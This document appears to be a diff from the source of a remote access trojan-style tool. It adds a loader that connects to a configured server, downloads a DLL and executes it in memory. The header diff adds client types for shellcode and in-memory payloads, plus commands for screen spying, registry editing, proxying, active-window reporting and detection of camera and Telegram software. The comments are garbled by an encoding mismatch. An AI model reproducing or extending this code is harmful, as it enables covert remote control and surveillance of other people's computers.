||||
serverAddr.sin_port = htons(g_ConnectAddress.ServerPort());
|
||||
std::string ip = GetIPAddress(g_ConnectAddress.ServerIP());
|
||||
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
|
||||
#else
|
||||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
|
||||
#endif
|
||||
char req[sizeof(PkgHeader) + 4] = {};
|
||||
memcpy(req, &PkgHeader(4), sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
char *ptr = buffer + sizeof(PkgHeader);
|
||||
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
||||
while (totalReceived < bufSize) {
|
||||
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
||||
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
|
||||
if (bytesReceived <= 0) break;
|
||||
totalReceived += bytesReceived;
|
||||
}
|
||||
if (totalReceived < sizeof(PkgHeader) + 6) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
int size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
closesocket(clientSocket);
|
||||
} while (false);
|
||||
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
WSACleanup();
|
||||
return m_mod;
|
||||
}
|
||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
||||
}
|
||||
virtual BOOL FreeLibrary(void* mod) {
|
||||
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
||||
return TRUE;
|
||||
}
|
||||
};
|
||||
|
||||
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||
// [settings]
|
||||
// localIp=XXX
|
||||
@@ -161,16 +315,18 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
HMODULE hDll = LoadLibraryA(path);
|
||||
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner;
|
||||
void* hDll = runner->LoadLibraryA(path);
|
||||
typedef void (*TestRun)(char* strHost, int nPort);
|
||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
if (NULL == run) {
|
||||
if (hDll) FreeLibrary(hDll);
|
||||
if (hDll) runner->FreeLibrary(hDll);
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
Sleep(3000);
|
||||
delete runner;
|
||||
return FALSE;
|
||||
}
|
||||
do
|
||||
@@ -201,11 +357,12 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
result = bExit();
|
||||
}
|
||||
} while (result == 2);
|
||||
if (!FreeLibrary(hDll)) {
|
||||
if (!runner->FreeLibrary(hDll)) {
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
else {
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||
}
|
||||
delete runner;
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,63 @@
|
||||
#pragma once
|
||||
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <iosfwd>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <string.h>
|
||||
#include <map>
|
||||
#include <numeric>
|
||||
#include <ctime>
|
||||
#include <chrono>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <concrt.h>
|
||||
#include <corecrt_io.h>
|
||||
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
||||
#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
|
||||
#else // ʹ<>ø<EFBFBD>ͷ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> LINUX <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
|
||||
#include <thread>
|
||||
#define strcat_s strcat
|
||||
#define sprintf_s sprintf
|
||||
#define strcpy_s strcpy
|
||||
#define __stdcall
|
||||
#define WINAPI
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define skCrypt(p)
|
||||
#define Mprintf printf
|
||||
#define ASSERT(p)
|
||||
#define AUTO_TICK_C(p)
|
||||
#define AUTO_TICK(p)
|
||||
#define OutputDebugStringA(p) printf(p)
|
||||
|
||||
#include <unistd.h>
|
||||
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
|
||||
|
||||
typedef int64_t __int64;
|
||||
typedef uint32_t DWORD;
|
||||
typedef int BOOL, SOCKET;
|
||||
typedef unsigned int ULONG;
|
||||
typedef unsigned int UINT;
|
||||
typedef void VOID;
|
||||
typedef unsigned char BYTE;
|
||||
typedef BYTE* PBYTE, * LPBYTE;
|
||||
typedef void* LPVOID, * HANDLE;
|
||||
|
||||
#define GET_PROCESS(a1, a2)
|
||||
#define MVirtualFree(a1, a2, a3) delete[]a1
|
||||
#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
|
||||
#define CopyMemory memcpy
|
||||
#define MoveMemory memmove
|
||||
|
||||
#define INVALID_SOCKET -1
|
||||
#define SOCKET_ERROR -1
|
||||
#define closesocket close
|
||||
#define CloseHandle(p)
|
||||
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
|
||||
#endif
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <time.h>
|
||||
@@ -10,15 +68,23 @@
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB>Ψһ<CEA8><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
#define FLAG_FINDEN 0x1234567
|
||||
#define FLAG_FINDEN "Hello, World!"
|
||||
|
||||
#define FLAG_GHOST 0x7654321
|
||||
#define FLAG_GHOST FLAG_FINDEN
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬: 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
enum State {
|
||||
S_CLIENT_NORMAL = 0,
|
||||
S_CLIENT_EXIT = 1,
|
||||
S_SERVER_EXIT = 2,
|
||||
S_CLIENT_UPDATE = 3,
|
||||
};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
||||
enum
|
||||
{
|
||||
@@ -92,6 +158,8 @@ enum
|
||||
COMMAND_REGEDIT,
|
||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
@@ -144,46 +212,122 @@ enum
|
||||
|
||||
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
||||
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
};
|
||||
|
||||
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_MODULE 2 // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum ProxyManager {
|
||||
TOKEN_PROXY_CONNECT_RESULT,
|
||||
TOKEN_PROXY_BIND_RESULT,
|
||||
TOKEN_PROXY_CLOSE,
|
||||
TOKEN_PROXY_DATA,
|
||||
COMMAND_PROXY_CLOSE,
|
||||
COMMAND_PROXY_CONNECT,
|
||||
COMMAND_PROXY_DATA,
|
||||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_ONE = 1, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_MEMEXE = -1, // <20>ڴ<EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_MODULE = 2, // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
|
||||
CLIENT_TYPE_MEMDLL = 5, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_LINUX = 6, // LINUX <20>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
};
|
||||
|
||||
enum {
|
||||
SHARE_TYPE_YAMA = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SHARE_TYPE_HOLDINGHANDS = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
|
||||
};
|
||||
|
||||
inline const char* GetClientType(int typ) {
|
||||
switch (typ)
|
||||
{
|
||||
case CLIENT_TYPE_DLL:
|
||||
return "DLL";
|
||||
case CLIENT_TYPE_ONE:
|
||||
return "EXE";
|
||||
case CLIENT_TYPE_MEMEXE:
|
||||
return "MEXE";
|
||||
case CLIENT_TYPE_MODULE:
|
||||
return "DLL";
|
||||
case CLIENT_TYPE_SHELLCODE:
|
||||
return "SC";
|
||||
case CLIENT_TYPE_MEMDLL:
|
||||
return "MDLL";
|
||||
case CLIENT_TYPE_LINUX:
|
||||
return "LNX";
|
||||
default:
|
||||
return "DLL";
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
typedef struct CONNECT_ADDRESS
|
||||
{
|
||||
public:
|
||||
unsigned long dwFlag;
|
||||
char szServerIP[_MAX_PATH];
|
||||
int iPort;
|
||||
char szFlag[32];
|
||||
char szServerIP[100];
|
||||
char szPort[8];
|
||||
int iType;
|
||||
bool bEncrypt;
|
||||
char szBuildDate[12];
|
||||
int iMultiOpen;
|
||||
char szReserved[134]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||
|
||||
public:
|
||||
void SetType(int typ) {
|
||||
iType = typ;
|
||||
}
|
||||
const unsigned long & Flag() const {
|
||||
return dwFlag;
|
||||
const void* Flag() const {
|
||||
return szFlag;
|
||||
}
|
||||
int FlagLen() const {
|
||||
return strlen(szFlag);
|
||||
}
|
||||
const char* ServerIP()const {
|
||||
return szServerIP;
|
||||
}
|
||||
int ServerPort()const {
|
||||
return iPort;
|
||||
return atoi(szPort);
|
||||
}
|
||||
int ClientType()const {
|
||||
return iType;
|
||||
}
|
||||
void SetServer(const char* ip, int port) {
|
||||
strcpy_s(szServerIP, ip);
|
||||
iPort = port;
|
||||
if (ip && strlen(ip) && port > 0) {
|
||||
strcpy_s(szServerIP, ip);
|
||||
sprintf_s(szPort, "%d", port);
|
||||
}
|
||||
}
|
||||
bool IsValid()const {
|
||||
return strlen(szServerIP) != 0 && iPort > 0;
|
||||
return strlen(szServerIP) != 0 && atoi(szPort) > 0;
|
||||
}
|
||||
int Size() const {
|
||||
return sizeof(CONNECT_ADDRESS);
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
||||
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
std::istringstream stream(str);
|
||||
std::string item;
|
||||
std::vector<std::string> result;
|
||||
|
||||
// <20><><EFBFBD>ֺŷָ<C5B7><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
while (std::getline(stream, item, ch)) {
|
||||
result.push_back(item); // <20><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
while (result.size() < reserved)
|
||||
result.push_back("");
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
||||
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
||||
@@ -193,20 +337,111 @@ typedef struct LOGIN_INFOR
|
||||
{
|
||||
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
|
||||
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||
unsigned long dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
unsigned long dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
|
||||
|
||||
LOGIN_INFOR(){
|
||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||
bToken = TOKEN_LOGIN;
|
||||
strcpy_s(moduleVersion, DLL_VERSION);
|
||||
}
|
||||
LOGIN_INFOR& Speed(unsigned long speed) {
|
||||
dwSpeed = speed;
|
||||
return *this;
|
||||
}
|
||||
void AddReserved(const char* v) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
if (strlen(szReserved) + strlen(v) < sizeof(szReserved))
|
||||
strcat_s(szReserved, v);
|
||||
}
|
||||
void AddReserved(int n) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
char buf[24] = {};
|
||||
sprintf_s(buf, "%d", n);
|
||||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||||
strcat_s(szReserved, buf);
|
||||
}
|
||||
void AddReserved(double f) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
char buf[24] = {};
|
||||
sprintf_s(buf, "%.2f", f);
|
||||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||||
strcat_s(szReserved, buf);
|
||||
}
|
||||
std::vector<std::string> ParseReserved(int n = 1) const {
|
||||
return StringToVector(szReserved, '|', n);
|
||||
}
|
||||
}LOGIN_INFOR;
|
||||
|
||||
// <20>̶<EFBFBD>1024<32>ֽ<EFBFBD>
|
||||
typedef struct Heartbeat
|
||||
{
|
||||
uint64_t Time;
|
||||
char ActiveWnd[512];
|
||||
int Ping;
|
||||
int HasSoftware;
|
||||
char Reserved[496];
|
||||
|
||||
Heartbeat() {
|
||||
memset(this, 0, sizeof(Heartbeat));
|
||||
}
|
||||
Heartbeat(const std::string& s, int ping = 0) {
|
||||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||||
std::chrono::system_clock::now()
|
||||
);
|
||||
Time = system_ms.time_since_epoch().count();
|
||||
strcpy_s(ActiveWnd, s.c_str());
|
||||
Ping = ping;
|
||||
memset(Reserved, 0, sizeof(Reserved));
|
||||
}
|
||||
int Size() const {
|
||||
return sizeof(Heartbeat);
|
||||
}
|
||||
}Heartbeat;
|
||||
|
||||
typedef struct HeartbeatACK {
|
||||
uint64_t Time;
|
||||
char Reserved[24];
|
||||
}HeartbeatACK;
|
||||
|
||||
// <20>̶<EFBFBD>500<30>ֽ<EFBFBD>
|
||||
typedef struct MasterSettings {
|
||||
int ReportInterval; // <20>ϱ<EFBFBD><CFB1><EFBFBD><EFBFBD><EFBFBD>
|
||||
int Is64Bit; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
|
||||
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
|
||||
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char Reserved[476]; // Ԥ<><D4A4>
|
||||
}MasterSettings;
|
||||
|
||||
enum
|
||||
{
|
||||
SOFTWARE_CAMERA = 0,
|
||||
SOFTWARE_TELEGRAM,
|
||||
|
||||
SHELLCODE = 0,
|
||||
MEMORYDLL = 1,
|
||||
};
|
||||
|
||||
typedef DWORD(__stdcall* PidCallback)(void);
|
||||
|
||||
inline const char* EVENTID(PidCallback pid) {
|
||||
static char buf[64] = { 0 };
|
||||
if (buf[0] == 0) {
|
||||
sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid());
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
#define EVENT_FINISHED EVENTID(GetCurrentProcessId)
|
||||
|
||||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||||
for (char key : keys) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
@@ -215,12 +450,54 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<
|
||||
}
|
||||
}
|
||||
|
||||
inline std::tm ToPekingTime(const time_t* t) {
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰʱ<C7B0>䣨<EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>գ<EFBFBD>
|
||||
std::time_t now = (t == nullptr) ? std::time(nullptr) : *t;
|
||||
|
||||
// <20>̰߳<DFB3>ȫ<EFBFBD><C8AB>ת<EFBFBD><D7AA>Ϊ UTC ʱ<><CAB1>
|
||||
std::tm utc_time{};
|
||||
|
||||
#ifdef _WIN32 // Windows ʹ<><CAB9> gmtime_s
|
||||
if (gmtime_s(&utc_time, &now) != 0) {
|
||||
return { 0, 0, 0, 1, 0, 100 }; // ʧ<><CAA7>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD> 2000-01-01 00:00:00
|
||||
}
|
||||
#else // Linux / macOS ʹ<><CAB9> gmtime_r
|
||||
if (gmtime_r(&now, &utc_time) == nullptr) {
|
||||
return { 0, 0, 0, 1, 0, 100 };
|
||||
}
|
||||
#endif
|
||||
|
||||
// ת<><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨UTC+8<><38>
|
||||
utc_time.tm_hour += 8;
|
||||
|
||||
// <20>淶<EFBFBD><E6B7B6>ʱ<EFBFBD>䣨<EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>죩
|
||||
std::mktime(&utc_time);
|
||||
|
||||
return utc_time;
|
||||
}
|
||||
|
||||
inline std::string ToPekingTimeAsString(const time_t* t) {
|
||||
auto pekingTime = ToPekingTime(t);
|
||||
char buffer[20];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
#ifdef _DEBUG
|
||||
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
||||
#define SCREENYSPY_IMPROVE 0
|
||||
#define SCREENSPY_WRITE 0
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#ifdef _WINDOWS
|
||||
#include <afxwin.h>
|
||||
#else
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD>ڴ<EFBFBD><DAB4>е<EFBFBD>λͼд<CDBC><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
|
||||
char path[_MAX_PATH];
|
||||
@@ -246,13 +523,6 @@ inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::st
|
||||
return false;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
#ifdef _WINDOWS
|
||||
#include <afxwin.h>
|
||||
#else
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#endif
|
||||
class MSG32 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(32λ)
|
||||
public:
|
||||
uint32_t hwnd;
|
||||
|
||||
BIN
compress/libavcodec_x64.lib
Normal file
BIN
compress/libavcodec_x64d.lib
Normal file
BIN
compress/libavutil_x64.lib
Normal file
BIN
compress/libavutil_x64d.lib
Normal file
BIN
compress/libswresample_x64.lib
Normal file
BIN
compress/libswresample_x64d.lib
Normal file
BIN
images/AuthDlg.jpg
Normal file
|
After Width: | Height: | Size: 7.4 KiB |
BIN
images/BuildDlg.jpg
Normal file
|
After Width: | Height: | Size: 14 KiB |
BIN
images/LinuxClient.png
Normal file
|
After Width: | Height: | Size: 42 KiB |
BIN
images/PasswordGen.jpg
Normal file
|
After Width: | Height: | Size: 63 KiB |
BIN
lib/HPSocket.lib
Normal file
BIN
lib/HPSocket_D.lib
Normal file
BIN
lib/HPSocket_x64.lib
Normal file
BIN
lib/HPSocket_x64D.lib
Normal file
3
lib/ReadMe.md
Normal file
@@ -0,0 +1,3 @@
|
||||
# Requirements
|
||||
|
||||
- HPSocket: https://github.com/ldcsaa/HP-Socket.git
|
||||
42
linux/CMakeLists.txt
Normal file
@@ -0,0 +1,42 @@
|
||||
# 编译方法:cmake . && make
|
||||
# 设置 CMake 最低版本要求
|
||||
set(CMAKE_VERBOSE_MAKEFILE ON)
|
||||
